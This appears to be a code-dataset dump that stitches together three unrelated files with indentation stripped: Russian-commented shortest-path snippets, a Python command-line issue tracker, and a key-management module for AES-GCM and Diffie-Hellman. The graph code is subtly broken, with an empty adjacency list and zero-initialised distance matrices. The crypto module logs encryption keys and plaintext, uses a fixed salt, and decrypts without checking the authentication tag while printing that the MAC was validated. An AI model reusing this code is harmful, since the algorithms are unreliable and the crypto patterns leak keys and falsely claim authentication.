prev = [list(range(N + 1)) for i in range(N + 1)]
for k in range(1, N + 1):
for i in range(1, N + 1):
for j in range(1, N + 1):
if F[i][k] + F[k][j] < F[i][j]:
F[i][j] = F[i][k] + F[k][j]
prev[i][j] = prev[k][j]
def show_path(i, j):
k = prev[i][j]
if k == i:
print(i, end=' ')
return
show_path(i, k)
show_path(k, j)
| # -*- utf-8 -*-
# <NAME>
from tkinter import Pack
N, M, start = map(int, input().split())
E = [] * N
for i in range(M):
f, t, w = map(int, input().split())
# Неориентированный граф
E[f].append((t, w))
E[t].append((f, w))
INF = 10 ** 10 # Бесконечность
d = [INF] * N # Кратчайшее расстояние до первой вершины
Colored = [False] * N # Когда нашли кратчайший путь -> красим вершину
Path = [-1] * N # Предыдущая вершина
add = start
min_d = 0
while min_d != INF:
# Добавляем новую вершину
Colored[add] = True
d[add] = min_d
# Пересчитываем пути через вершину add
for t, w in E[add]:
if d[add] + w < d[t]:
d[t] = d[add] + w
Path[t] = add
# Ищем минимум
min_d = INF
for i in range(N):
if not Colored[i] and d[i] < min_d:
min_d = d[i]
add = i
# Трёхмерная динамика во Флойде
# [k][i][j] - используя вершины с 1-ой по k-ую
d = [[[0] * (N + 1) for i in range(N + 1)] for j in range(N + 1)]
for k in range(1, N + 1):
for i in range(1, N + 1):
for j in range(1, N + 1):
d[k][i][j] = min(d[k - 1][i][j], d[k - 1][i][k] + d[k - 1][k][j])
# Сведение к квадратной матрице
F = [[0] * (N + 1) for i in range(N + 1)]
for k in range(1, N + 1):
for i in range(1, N + 1):
for j in range(1, N + 1):
F[i][j] = min(F[i][j], F[i][k] + F[k][j])
# Флойд с восстановлением пути
F = [[0] * (N + 1) for i in range(N + 1)]
prev = [list(range(N + 1)) for i in range(N + 1)]
for k in range(1, N + 1):
for i in range(1, N + 1):
for j in range(1, N + 1):
if F[i][k] + F[k][j] < F[i][j]:
F[i][j] = F[i][k] + F[k][j]
prev[i][j] = prev[k][j]
def show_path(i, j):
k = prev[i][j]
if k == i:
print(i, end=' ')
return
show_path(i, k)
show_path(k, j) | ru | 0.991109 | # -*- utf-8 -*- # <NAME> # Неориентированный граф # Бесконечность # Кратчайшее расстояние до первой вершины # Когда нашли кратчайший путь -> красим вершину # Предыдущая вершина # Добавляем новую вершину # Пересчитываем пути через вершину add # Ищем минимум # Трёхмерная динамика во Флойде # [k][i][j] - используя вершины с 1-ой по k-ую # Сведение к квадратной матрице # Флойд с восстановлением пути | 2.776426 | 3 |
pyclitr.py | jrenslin/pyclitr | 0 | 6623565 | <filename>pyclitr.py<gh_stars>0
#! /usr/bin/env python3
# ^
######## Import ########
import os, sys, uuid, json, pwd, copy
from datetime import datetime
######## Functions ########
def json_dump (inp):
return json.dumps(inp, sort_keys=True, indent=2)
def create_json_file (filename):
handle = open (filename + '.json', "w")
handle.write("{}")
handle.close()
def read_json (filename):
handle = open (filename + '.json', "r")
content = json.loads(handle.read())
handle.close()
return content
def write_json_file (filename, content):
handle = open (filename + '.json', "w")
handle.write(json_dump(content))
handle.close()
def print_help ():
print ("Help for pyclitr\n")
print("{:<20} {:<20} {:<35}".format("Command", "", "Description"))
print("{:<20} {:<20} {:<35}".format("init", "", "Inititalize pyclitr for the current directory"))
print("{:<20} {:<20} {:<35}".format("ls", "", "List all pending issues"))
print("{:<20} {:<20} {:<35}".format("pending", "", "alias for ls"))
print("{:<20} {:<20} {:<35}".format("completed", "", "List all completed issues"))
print("{:<20} {:<20} {:<35}".format("add", "<>", "Adds a new issue with the given name. Additional values can be set, e.g. with project:test."))
print("{:<20} {:<20} {:<35}".format("delete", "<uuid>", "Delete issue with specified uuid"))
print("{:<20} {:<20} {:<35}".format("modify", "<uuid>", "Modify issue with specified uuid"))
print("{:<20} {:<20} {:<35}".format("complete", "<uuid>", "Mark issue with specified uuid as completed"))
def note_edit (uuid, old, new):
global pyclitr_dir
edits = read_json(pyclitr_dir + 'edits')
if not uuid in edits:
edits[uuid] = []
edits[uuid].append({'editor' : pwd.getpwuid(os.getuid()).pw_name, 'time' : datetime.now().strftime('%Y-%m-%d %H:%M:%S'), 'from' : old, 'to' : new})
write_json_file(pyclitr_dir + "edits", edits)
def dict_changes (first, second):
for key, value in second.items():
if key not in first:
print ("Added " + key + str(value))
elif value != first[key]:
print ("Changed " + key + " from '" + str(first[key]) + "' to '" + str(value) + "'")
if True == False:
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
status = 'completed'
issues = read_json(pyclitr_dir + status)
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
sys.exit("No item with this uuid has been found.")
# Set basic variables
cwd = os.getcwd() + '/'
pyclitr_dir = cwd + '.pyclitr/'
# Check if pyclitr has been initialized for this directory
if os.path.isdir (pyclitr_dir):
initialized = True
else:
initialized = False
if initialized == False:
if not len(sys.argv) > 1:
print ("Hidden directory .pyclitr does not exist. To set up pyclitr, use 'pyclitr init'\n\n")
print_help()
elif not sys.argv[1] == 'init':
print ("Hidden directory .pyclitr does not exist. To set up pyclitr, use 'pyclitr init'\n\n")
print_help()
elif len(sys.argv) == 1 or len(sys.argv) == 2 and sys.argv[1] == 'pending' or len(sys.argv) == 2 and sys.argv[1] == 'completed':
if len(sys.argv) == 2 and sys.argv[1] == 'completed':
issues = read_json(pyclitr_dir + "completed")
else:
issues = read_json(pyclitr_dir + "pending")
order = ['entry', 'description', 'creator', 'project', 'uuid', 'assign', 'due']
print("\033[4m{:<10}\033[0m \033[4m{:<45}\033[0m \033[4m{:<10}\033[0m \033[4m{:<15}\033[0m \033[4m{:<36}\033[0m \033[4m{:<10}\033[0m \033[4m{:<10}\033[0m".format(order[0], order[1], order[2], order[3], order[4], order[5], order[6]))
for iuuid, issue in issues.items():
print("{:<10} {:<45} {:<10} {:<15} {:<36} {:<10} {:<10}".format(issue[order[0]][0:10], issue[order[1]], issue[order[2]], issue[order[3]], iuuid, issue[order[5]], issue[order[6]]))
if len(sys.argv) == 2:
if sys.argv[1] == 'init':
os.mkdir (pyclitr_dir)
open(pyclitr_dir + 'config', 'a').close()
create_json_file (pyclitr_dir + 'pending')
create_json_file (pyclitr_dir + 'completed')
create_json_file (pyclitr_dir + 'edits')
print ("Initialized at .pyclitr")
elif sys.argv[1] == 'help':
print_help()
if len(sys.argv) == 3 and sys.argv[1] == 'show':
issues = read_json(pyclitr_dir + 'pending')
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
issues = read_json(pyclitr_dir + 'completed')
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
sys.exit("No item with this uuid has been found.")
print("\033[4m{:<20}\033[0m \033[4m{:<35}\033[0m".format("Name", "Value"))
print("{:<20} {:<35}".format("UUID", sys.argv[2]))
for key, value in issue.items():
if key != 'annotation' and value != '':
print("{:<20} {:<35}".format(key, value))
# Display edits if there are any
edits = read_json (pyclitr_dir + "edits")
if sys.argv[2] in edits:
for i in edits[sys.argv[2]]:
print ("\n\033[1m" + i['editor'] + "\033[0m edited this task on \033[4m" + i['time'] + "\033[0m:")
dict_changes (i['from'], i['to'])
if len(sys.argv) > 2 and sys.argv[1] == 'add':
pending = read_json(pyclitr_dir + 'pending')
iuuid = str(uuid.uuid1())
issue = {"entry" : datetime.now().strftime('%Y-%m-%d %H:%M:%S'), "creator" : pwd.getpwuid(os.getuid()).pw_name, 'annotation' : [], 'project' : '', 'status' : 'pending', 'assign' : '', 'due' : ''}
args = sys.argv[2:]
title = ''
for i in args:
attr = i.split(":")
if (len(attr) == 2):
issue[str(attr[0])] = str(attr[1])
else:
title = title + i + " "
issue['description'] = str(title).strip(" ")
pending[iuuid] = issue
write_json_file (pyclitr_dir + "pending", pending)
print ("Issue \033[1m" + title + "\033[0m added")
if len(sys.argv) > 2 and sys.argv[1] == 'modify':
# Check whether this issue is pending or completed
status = 'pending'
issues = read_json(pyclitr_dir + status)
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
status = 'completed'
issues = read_json(pyclitr_dir + status)
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
sys.exit("No item with this uuid has been found.")
original = copy.copy(issue)
args = sys.argv[3:]
title = ''
for i in args:
attr = i.split(":")
if (len(attr) == 2):
issue[str(attr[0])] = str(attr[1])
else:
title = title + i + " "
if title != '':
issue['description'] = str(title).strip(" ")
issues[sys.argv[2]] = issue
write_json_file (pyclitr_dir + status, issues)
print ("Issue \033[1m" + sys.argv[2] + " (" + issue['description'] + ")" + "\033[0m modified")
note_edit(sys.argv[2], original, issue)
if len(sys.argv) > 2 and sys.argv[1] == 'complete':
# Check whether this issue is pending or completed
status = 'pending'
issues = read_json(pyclitr_dir + status)
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
status = 'completed'
issues = read_json(pyclitr_dir + status)
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
sys.exit("No item with this uuid has been found.")
original = copy.copy(issue)
issue['status'] = 'completed'
completed = read_json(pyclitr_dir + "completed")
completed[sys.argv[2]] = issue
write_json_file (pyclitr_dir + "completed", completed)
del issues[sys.argv[2]]
write_json_file (pyclitr_dir + status, issues)
print ("Issue \033[1m" + sys.argv[2] + " (" + issue['description'] + ")" + "\033[0m moved to completed")
note_edit(sys.argv[2], original, issue)
if len(sys.argv) == 3 and sys.argv[1] == 'delete':
# Check whether this issue is pending or completed
status = 'pending'
issues = read_json(pyclitr_dir + status)
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
status = 'completed'
issues = read_json(pyclitr_dir + status)
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
sys.exit("No item with this uuid has been found.")
del issues[sys.argv[2]]
write_json_file (pyclitr_dir + status, issues)
| <filename>pyclitr.py<gh_stars>0
#! /usr/bin/env python3
# ^
######## Import ########
import os, sys, uuid, json, pwd, copy
from datetime import datetime
######## Functions ########
def json_dump (inp):
return json.dumps(inp, sort_keys=True, indent=2)
def create_json_file (filename):
handle = open (filename + '.json', "w")
handle.write("{}")
handle.close()
def read_json (filename):
handle = open (filename + '.json', "r")
content = json.loads(handle.read())
handle.close()
return content
def write_json_file (filename, content):
handle = open (filename + '.json', "w")
handle.write(json_dump(content))
handle.close()
def print_help ():
print ("Help for pyclitr\n")
print("{:<20} {:<20} {:<35}".format("Command", "", "Description"))
print("{:<20} {:<20} {:<35}".format("init", "", "Inititalize pyclitr for the current directory"))
print("{:<20} {:<20} {:<35}".format("ls", "", "List all pending issues"))
print("{:<20} {:<20} {:<35}".format("pending", "", "alias for ls"))
print("{:<20} {:<20} {:<35}".format("completed", "", "List all completed issues"))
print("{:<20} {:<20} {:<35}".format("add", "<>", "Adds a new issue with the given name. Additional values can be set, e.g. with project:test."))
print("{:<20} {:<20} {:<35}".format("delete", "<uuid>", "Delete issue with specified uuid"))
print("{:<20} {:<20} {:<35}".format("modify", "<uuid>", "Modify issue with specified uuid"))
print("{:<20} {:<20} {:<35}".format("complete", "<uuid>", "Mark issue with specified uuid as completed"))
def note_edit (uuid, old, new):
global pyclitr_dir
edits = read_json(pyclitr_dir + 'edits')
if not uuid in edits:
edits[uuid] = []
edits[uuid].append({'editor' : pwd.getpwuid(os.getuid()).pw_name, 'time' : datetime.now().strftime('%Y-%m-%d %H:%M:%S'), 'from' : old, 'to' : new})
write_json_file(pyclitr_dir + "edits", edits)
def dict_changes (first, second):
for key, value in second.items():
if key not in first:
print ("Added " + key + str(value))
elif value != first[key]:
print ("Changed " + key + " from '" + str(first[key]) + "' to '" + str(value) + "'")
if True == False:
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
status = 'completed'
issues = read_json(pyclitr_dir + status)
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
sys.exit("No item with this uuid has been found.")
# Set basic variables
cwd = os.getcwd() + '/'
pyclitr_dir = cwd + '.pyclitr/'
# Check if pyclitr has been initialized for this directory
if os.path.isdir (pyclitr_dir):
initialized = True
else:
initialized = False
if initialized == False:
if not len(sys.argv) > 1:
print ("Hidden directory .pyclitr does not exist. To set up pyclitr, use 'pyclitr init'\n\n")
print_help()
elif not sys.argv[1] == 'init':
print ("Hidden directory .pyclitr does not exist. To set up pyclitr, use 'pyclitr init'\n\n")
print_help()
elif len(sys.argv) == 1 or len(sys.argv) == 2 and sys.argv[1] == 'pending' or len(sys.argv) == 2 and sys.argv[1] == 'completed':
if len(sys.argv) == 2 and sys.argv[1] == 'completed':
issues = read_json(pyclitr_dir + "completed")
else:
issues = read_json(pyclitr_dir + "pending")
order = ['entry', 'description', 'creator', 'project', 'uuid', 'assign', 'due']
print("\033[4m{:<10}\033[0m \033[4m{:<45}\033[0m \033[4m{:<10}\033[0m \033[4m{:<15}\033[0m \033[4m{:<36}\033[0m \033[4m{:<10}\033[0m \033[4m{:<10}\033[0m".format(order[0], order[1], order[2], order[3], order[4], order[5], order[6]))
for iuuid, issue in issues.items():
print("{:<10} {:<45} {:<10} {:<15} {:<36} {:<10} {:<10}".format(issue[order[0]][0:10], issue[order[1]], issue[order[2]], issue[order[3]], iuuid, issue[order[5]], issue[order[6]]))
if len(sys.argv) == 2:
if sys.argv[1] == 'init':
os.mkdir (pyclitr_dir)
open(pyclitr_dir + 'config', 'a').close()
create_json_file (pyclitr_dir + 'pending')
create_json_file (pyclitr_dir + 'completed')
create_json_file (pyclitr_dir + 'edits')
print ("Initialized at .pyclitr")
elif sys.argv[1] == 'help':
print_help()
if len(sys.argv) == 3 and sys.argv[1] == 'show':
issues = read_json(pyclitr_dir + 'pending')
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
issues = read_json(pyclitr_dir + 'completed')
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
sys.exit("No item with this uuid has been found.")
print("\033[4m{:<20}\033[0m \033[4m{:<35}\033[0m".format("Name", "Value"))
print("{:<20} {:<35}".format("UUID", sys.argv[2]))
for key, value in issue.items():
if key != 'annotation' and value != '':
print("{:<20} {:<35}".format(key, value))
# Display edits if there are any
edits = read_json (pyclitr_dir + "edits")
if sys.argv[2] in edits:
for i in edits[sys.argv[2]]:
print ("\n\033[1m" + i['editor'] + "\033[0m edited this task on \033[4m" + i['time'] + "\033[0m:")
dict_changes (i['from'], i['to'])
if len(sys.argv) > 2 and sys.argv[1] == 'add':
pending = read_json(pyclitr_dir + 'pending')
iuuid = str(uuid.uuid1())
issue = {"entry" : datetime.now().strftime('%Y-%m-%d %H:%M:%S'), "creator" : pwd.getpwuid(os.getuid()).pw_name, 'annotation' : [], 'project' : '', 'status' : 'pending', 'assign' : '', 'due' : ''}
args = sys.argv[2:]
title = ''
for i in args:
attr = i.split(":")
if (len(attr) == 2):
issue[str(attr[0])] = str(attr[1])
else:
title = title + i + " "
issue['description'] = str(title).strip(" ")
pending[iuuid] = issue
write_json_file (pyclitr_dir + "pending", pending)
print ("Issue \033[1m" + title + "\033[0m added")
if len(sys.argv) > 2 and sys.argv[1] == 'modify':
# Check whether this issue is pending or completed
status = 'pending'
issues = read_json(pyclitr_dir + status)
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
status = 'completed'
issues = read_json(pyclitr_dir + status)
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
sys.exit("No item with this uuid has been found.")
original = copy.copy(issue)
args = sys.argv[3:]
title = ''
for i in args:
attr = i.split(":")
if (len(attr) == 2):
issue[str(attr[0])] = str(attr[1])
else:
title = title + i + " "
if title != '':
issue['description'] = str(title).strip(" ")
issues[sys.argv[2]] = issue
write_json_file (pyclitr_dir + status, issues)
print ("Issue \033[1m" + sys.argv[2] + " (" + issue['description'] + ")" + "\033[0m modified")
note_edit(sys.argv[2], original, issue)
if len(sys.argv) > 2 and sys.argv[1] == 'complete':
# Check whether this issue is pending or completed
status = 'pending'
issues = read_json(pyclitr_dir + status)
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
status = 'completed'
issues = read_json(pyclitr_dir + status)
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
sys.exit("No item with this uuid has been found.")
original = copy.copy(issue)
issue['status'] = 'completed'
completed = read_json(pyclitr_dir + "completed")
completed[sys.argv[2]] = issue
write_json_file (pyclitr_dir + "completed", completed)
del issues[sys.argv[2]]
write_json_file (pyclitr_dir + status, issues)
print ("Issue \033[1m" + sys.argv[2] + " (" + issue['description'] + ")" + "\033[0m moved to completed")
note_edit(sys.argv[2], original, issue)
if len(sys.argv) == 3 and sys.argv[1] == 'delete':
# Check whether this issue is pending or completed
status = 'pending'
issues = read_json(pyclitr_dir + status)
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
status = 'completed'
issues = read_json(pyclitr_dir + status)
if sys.argv[2] in issues:
issue = issues[sys.argv[2]]
else:
sys.exit("No item with this uuid has been found.")
del issues[sys.argv[2]]
write_json_file (pyclitr_dir + status, issues)
| en | 0.745842 | #! /usr/bin/env python3 # ^ ######## Import ######## ######## Functions ######## # Set basic variables # Check if pyclitr has been initialized for this directory # Display edits if there are any # Check whether this issue is pending or completed # Check whether this issue is pending or completed # Check whether this issue is pending or completed | 2.548967 | 3 |
src/contexts/kms/computed_data/infrastructure/persistence/AllAlgorithmComputedDataRepository.py | parada3desu/foxy-key-broker | 0 | 6623566 | <filename>src/contexts/kms/computed_data/infrastructure/persistence/AllAlgorithmComputedDataRepository.py<gh_stars>0
import sys
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from cryptography.hazmat.primitives import hashes, hmac
from cryptography.hazmat.primitives._serialization import PublicFormat, Encoding
from cryptography.hazmat.primitives.asymmetric import dh
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives.serialization import load_pem_public_key, load_pem_parameters
from src.contexts.kms.computed_data.domain.entities.ComputedData import ComputedData
from src.contexts.kms.computed_data.domain.entities.ComputedDataInput import ComputedDataInput
from src.contexts.kms.computed_data.domain.entities.ComputedDataMeta import ComputedDataMeta
from src.contexts.kms.computed_data.domain.entities.ComputedDataOutput import ComputedDataOutput
from src.contexts.kms.computed_data.domain.entities.ComputedDataType import ComputedDataType, ComputedDataTypes
from src.contexts.kms.computed_data.domain.repositories.ComputedDataRepository import ComputedDataRepository
from src.contexts.kms.cryptokeys.domain.entities.CryptoKey import CryptoKey
from src.contexts.kms.cryptokeys.domain.entities.CryptoKeyType import CryptoKeyTypes
from src.contexts.shared.domain.BaseObject import BaseObject
class AllAlgorithmComputedDataRepository(BaseObject, ComputedDataRepository):
async def find_one_by_crypto_key_and_input(self, key: CryptoKey, input: ComputedDataInput,
cd_type: ComputedDataType) -> ComputedData:
output = input.value()
meta = {}
if key.type.value() == CryptoKeyTypes.DIFFIE_HELLMAN_ELLIPTIC_CURVE.value:
output, meta = await self.ecdh_get_shared_key_platform(key.payload.value())
if key.type.value() == CryptoKeyTypes.DIFFIE_HELLMAN_HMAC.value:
parameters = key.parameters.value()
dh_parameters = parameters['parameters']
signature = parameters['signature']
output, meta = await self.hmac_DH_GetSharedKey_Platform(dh_parameters, key.payload.value(), signature)
if key.type.value() == CryptoKeyTypes.AE.value and cd_type.value() == ComputedDataTypes.ENCRYPT.value:
output, meta = await self.encryption_AE(key.payload.value(), input.value())
if key.type.value() == CryptoKeyTypes.AE.value and cd_type.value() == ComputedDataTypes.DECRYPT.value:
text, nonce = tuple(input.value().split('@'))
output, meta = await self.decrypt_AE(key.payload.value(), text, nonce)
if key.type.value() == CryptoKeyTypes.AEAD.value and cd_type.value() == ComputedDataTypes.ENCRYPT.value:
output, meta = await self.Encryption_AEAD(key.payload.value(), input.value())
if key.type.value() == CryptoKeyTypes.AEAD.value and cd_type.value() == ComputedDataTypes.DECRYPT.value:
text, nonce = tuple(input.value().split('@'))
output, meta = await self.Decrypt_AEAD(text, key.payload.value(), nonce)
data = ComputedData(
input,
ComputedDataOutput(output),
key.id,
cd_type,
ComputedDataMeta(meta),
)
return data
async def Encryption_AEAD(self, passphrase: str, sensitive_data: str):
# Key generation
key_gen = b"/\<KEY>" # Key derivation
key = PBKDF2(passphrase, key_gen) # Contraseña basada en key derivation
print("AES Encryption Key: " + str(key))
# Data sensitiva para cifrar
print("Data enviada para cifrar: " + "\n" + str(sensitive_data))
# Encriptación usando AES GCM
cipher = AES.new(key, AES.MODE_GCM) # https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html
ciphertext = cipher.encrypt(sensitive_data.encode('utf-8'))
nonce = cipher.nonce
# Mensaje transmitido
# ciphertext: resultado de los datos cifrados,
# tag: Codigo de autenticacion de mensajes MAC
# nonce: vector de inicializacion (solo ocurre una vez)
transmitted_message = ciphertext.hex()
print("\nMensaje transmitido: " + str(transmitted_message))
return f'{transmitted_message}@{nonce.hex()}', {'nonce': nonce.hex()}
async def Decrypt_AEAD(self, transmitted_message: str, passphrase: str, nonce: str) -> str:
received_kdf_salt = b"/\x84F\xc5\xddA^k\xd2.C\x19'\x1a2\x9c"
received_msg = transmitted_message
print("Mensaje recibido: " + str(received_msg))
received_ciphertext = received_msg
# Generate decryption key from passphrase and salt
decryption_key = PBKDF2(passphrase, received_kdf_salt)
print("Decryption Key: " + str(decryption_key))
cipher = AES.new(decryption_key, AES.MODE_GCM, bytes.fromhex(nonce))
try:
decrypted_data = cipher.decrypt(bytes.fromhex(received_ciphertext))
print("\nMAC validated: Data was encrypted by someone with the shared secret passphrase")
print("All allies have passphrase - SYMMETRIC encryption!!!")
print("Data descifrada: " + str(decrypted_data))
except Exception as e:
print("\nFallo de la validación MAC durante la desencriptación. Auntenticación no garantizada")
return (decrypted_data).decode(), {}
async def encryption_AE(self, passphrase: str, sensitive_data: str):
# Key generation
key_gen = b"/\<KEY>" # Key derivation
key = PBKDF2(passphrase, key_gen) # Contraseña basada en key derivation
print("AES Encryption Key: " + str(key))
# Data sensitiva para cifrar
print("Data enviada para cifrar: " + "\n" + str(sensitive_data))
# Encriptación usando AES GCM
cipher = AES.new(key, AES.MODE_GCM) # https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html
ciphertext, tag = cipher.encrypt_and_digest(sensitive_data.encode('utf-8'))
nonce = cipher.nonce
# Mensaje transmitido
# ciphertext: resultado de los datos cifrados,
# tag: Codigo de autenticacion de mensajes MAC
# nonce: vector de inicializacion (solo ocurre una vez)
transmitted_message = ciphertext.hex()
meta = {
'tag': tag.hex(),
'nonce': nonce.hex(),
}
print("\nMensaje transmitido: " + str(transmitted_message))
print(type(transmitted_message))
return f'{transmitted_message}@{nonce.hex()}', meta
async def decrypt_AE(self, passphrase: str, transmitted_message: str, nonce: str):
received_msg = transmitted_message
print("\nMensaje recibido: " + str(received_msg))
received_kdf_salt = b"/\x84F\xc5\xddA^k\xd2.C\x19'\x1a2\x9c" # Key derivation
received_ciphertext, received_nonce = bytes.fromhex(transmitted_message), bytes.fromhex(nonce)
# Generar decryption key con la contraseña y salt
decryption_key = PBKDF2(passphrase, received_kdf_salt)
print("Decryption Key: " + str(decryption_key))
# Validar MAC y descifrar, si la validación MAC falla, ValueError exception se va a mostrar
cipher = AES.new(decryption_key, AES.MODE_GCM, received_nonce)
try:
decrypted_data = cipher.decrypt(received_ciphertext)
print("Data descifrada: " + str(decrypted_data))
except ValueError as mac_mismatch:
print("\nFallo de la validación MAC durante la desencriptación. Auntenticación no garantizada")
return decrypted_data.decode('utf-8'), {}
async def ecdh_get_shared_key_platform(self, public_key_IoT: str) -> (str, dict):
# Input para shared key Platform: ID clave pública IoT
# Returns shared key IoT
# Plataforma genera su clave pública y privada (y la pública se almacena en la bbdd para el IoT)
private_key = ec.generate_private_key(ec.SECP384R1())
public_key = private_key.public_key()
str_public_key = public_key.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo).decode('utf-8')
# 1. Obtener clave pública en string de la bd y pasar a objeto key
public_key_IoT_pem = public_key_IoT.encode('utf-8')
loaded_public_key_IoT = load_pem_public_key(public_key_IoT_pem)
# Returns shared key platform
shared_key = private_key.exchange(ec.ECDH(), loaded_public_key_IoT)
return shared_key.hex(), {'generated-public-key': str_public_key}
async def hmac_DH_GetSharedKey_Platform(self, dh_parameters: str, public_key_IoT: str, pk_signature: str) -> (
str, dict):
# A la API le llega el id de la clave y de ahí saca el string de parámetros y de la public key del IoT
# En este punto, el KMS ya tiene los dh_parameters y la clave pública en string y debe convertirlo al objeto original
# 1. Conversión a bytes y deserialización de parámetros
dh_parameters_pem = dh_parameters.encode("utf-8")
loaded_dh_params = load_pem_parameters(dh_parameters_pem)
# 2. Conversión a bytes y deserialización de clave pública IoT
public_key_IoT_pem = public_key_IoT.encode('utf-8')
loaded_public_key_IoT = load_pem_public_key(public_key_IoT_pem)
# Comprueba que la clave pública del IoT es correcta
if (not isinstance(loaded_dh_params, dh.DHParameters) or not isinstance(loaded_public_key_IoT, dh.DHPublicKey)):
sys.exit('Protocol error: Platform received a wrong message!')
# Comprueba la autenticidad con la HMAC recibida
h_IoT = hmac.HMAC(public_key_IoT_pem, hashes.SHA256())
h_IoT.update(b"Platform public key hash")
h_IoT.verify(bytes.fromhex(pk_signature))
# 3. Plataforma genera sus propias claves privadas y públicas
platform_private_key = loaded_dh_params.generate_private_key()
platform_public_key = platform_private_key.public_key() # El KMS debe guardar esta clave pública junto con los parámetros y str_signature en la bbdd con id platform-HMACDH
platform_pk_pem = platform_public_key.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
str_platform_pk = platform_pk_pem.decode('utf-8')
# HMAC
h = hmac.HMAC(platform_pk_pem, hashes.SHA256())
h.update(b"Platform public key hash")
signature = h.finalize()
str_signature = signature.hex()
shared_key = platform_private_key.exchange(loaded_public_key_IoT)
# Devuelve la clave en string, el IoT debe enviar al KMS luego de nuevo esta clave para que la almacene
return shared_key.hex(), {'generated-public-key': str_platform_pk, 'signature': str_signature,
'parameters': dh_parameters}
| <filename>src/contexts/kms/computed_data/infrastructure/persistence/AllAlgorithmComputedDataRepository.py<gh_stars>0
import sys
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from cryptography.hazmat.primitives import hashes, hmac
from cryptography.hazmat.primitives._serialization import PublicFormat, Encoding
from cryptography.hazmat.primitives.asymmetric import dh
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives.serialization import load_pem_public_key, load_pem_parameters
from src.contexts.kms.computed_data.domain.entities.ComputedData import ComputedData
from src.contexts.kms.computed_data.domain.entities.ComputedDataInput import ComputedDataInput
from src.contexts.kms.computed_data.domain.entities.ComputedDataMeta import ComputedDataMeta
from src.contexts.kms.computed_data.domain.entities.ComputedDataOutput import ComputedDataOutput
from src.contexts.kms.computed_data.domain.entities.ComputedDataType import ComputedDataType, ComputedDataTypes
from src.contexts.kms.computed_data.domain.repositories.ComputedDataRepository import ComputedDataRepository
from src.contexts.kms.cryptokeys.domain.entities.CryptoKey import CryptoKey
from src.contexts.kms.cryptokeys.domain.entities.CryptoKeyType import CryptoKeyTypes
from src.contexts.shared.domain.BaseObject import BaseObject
class AllAlgorithmComputedDataRepository(BaseObject, ComputedDataRepository):
async def find_one_by_crypto_key_and_input(self, key: CryptoKey, input: ComputedDataInput,
cd_type: ComputedDataType) -> ComputedData:
output = input.value()
meta = {}
if key.type.value() == CryptoKeyTypes.DIFFIE_HELLMAN_ELLIPTIC_CURVE.value:
output, meta = await self.ecdh_get_shared_key_platform(key.payload.value())
if key.type.value() == CryptoKeyTypes.DIFFIE_HELLMAN_HMAC.value:
parameters = key.parameters.value()
dh_parameters = parameters['parameters']
signature = parameters['signature']
output, meta = await self.hmac_DH_GetSharedKey_Platform(dh_parameters, key.payload.value(), signature)
if key.type.value() == CryptoKeyTypes.AE.value and cd_type.value() == ComputedDataTypes.ENCRYPT.value:
output, meta = await self.encryption_AE(key.payload.value(), input.value())
if key.type.value() == CryptoKeyTypes.AE.value and cd_type.value() == ComputedDataTypes.DECRYPT.value:
text, nonce = tuple(input.value().split('@'))
output, meta = await self.decrypt_AE(key.payload.value(), text, nonce)
if key.type.value() == CryptoKeyTypes.AEAD.value and cd_type.value() == ComputedDataTypes.ENCRYPT.value:
output, meta = await self.Encryption_AEAD(key.payload.value(), input.value())
if key.type.value() == CryptoKeyTypes.AEAD.value and cd_type.value() == ComputedDataTypes.DECRYPT.value:
text, nonce = tuple(input.value().split('@'))
output, meta = await self.Decrypt_AEAD(text, key.payload.value(), nonce)
data = ComputedData(
input,
ComputedDataOutput(output),
key.id,
cd_type,
ComputedDataMeta(meta),
)
return data
async def Encryption_AEAD(self, passphrase: str, sensitive_data: str):
# Key generation
key_gen = b"/\<KEY>" # Key derivation
key = PBKDF2(passphrase, key_gen) # Contraseña basada en key derivation
print("AES Encryption Key: " + str(key))
# Data sensitiva para cifrar
print("Data enviada para cifrar: " + "\n" + str(sensitive_data))
# Encriptación usando AES GCM
cipher = AES.new(key, AES.MODE_GCM) # https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html
ciphertext = cipher.encrypt(sensitive_data.encode('utf-8'))
nonce = cipher.nonce
# Mensaje transmitido
# ciphertext: resultado de los datos cifrados,
# tag: Codigo de autenticacion de mensajes MAC
# nonce: vector de inicializacion (solo ocurre una vez)
transmitted_message = ciphertext.hex()
print("\nMensaje transmitido: " + str(transmitted_message))
return f'{transmitted_message}@{nonce.hex()}', {'nonce': nonce.hex()}
async def Decrypt_AEAD(self, transmitted_message: str, passphrase: str, nonce: str) -> str:
received_kdf_salt = b"/\x84F\xc5\xddA^k\xd2.C\x19'\x1a2\x9c"
received_msg = transmitted_message
print("Mensaje recibido: " + str(received_msg))
received_ciphertext = received_msg
# Generate decryption key from passphrase and salt
decryption_key = PBKDF2(passphrase, received_kdf_salt)
print("Decryption Key: " + str(decryption_key))
